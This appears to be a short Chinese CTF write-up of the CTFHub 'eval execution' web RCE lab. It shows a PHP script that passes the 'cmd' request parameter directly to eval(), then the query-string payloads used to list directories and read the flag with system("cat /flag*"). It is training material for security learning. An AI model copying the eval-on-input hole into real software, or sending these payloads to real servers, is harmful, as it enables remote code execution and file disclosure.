CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
Pluchon1 小时前
硅基计划6.0 伍 JavaEE 网络原理
网络·网络协议·学习·tcp/ip·udp·java-ee·信息与通信
椰壳也可8 小时前
06_作业基于CubeMx实现按键控制LED灯(裸机)(立芯嵌入式笔记)
笔记·stm32·学习
im_AMBER9 小时前
Leetcode 52
笔记·学习·算法·leetcode
菜鸟‍10 小时前
【前端学习】阿里前端面试题
前端·javascript·学习
wdfk_prog11 小时前
[Linux]学习笔记系列 -- [kernel]kallsyms
linux·笔记·学习
!chen12 小时前
CPP 学习笔记 语法总结
c++·笔记·学习
d111111111d13 小时前
STM32外设学习--DMA直接存储器读取(AD扫描程序,DMA搬运)--学习笔记。
笔记·stm32·单片机·嵌入式硬件·学习
流川_疯15 小时前
CANOE概念与应用
经验分享·笔记·学习·汽车
Elias不吃糖15 小时前
NebulaChat 框架学习笔记:原子变量与左值引用的工程应用
c++·学习
Chloeis Syntax15 小时前
MySQL初阶学习日记(2)--- 数据库的数据类型和表的操作
数据库·学习·mysql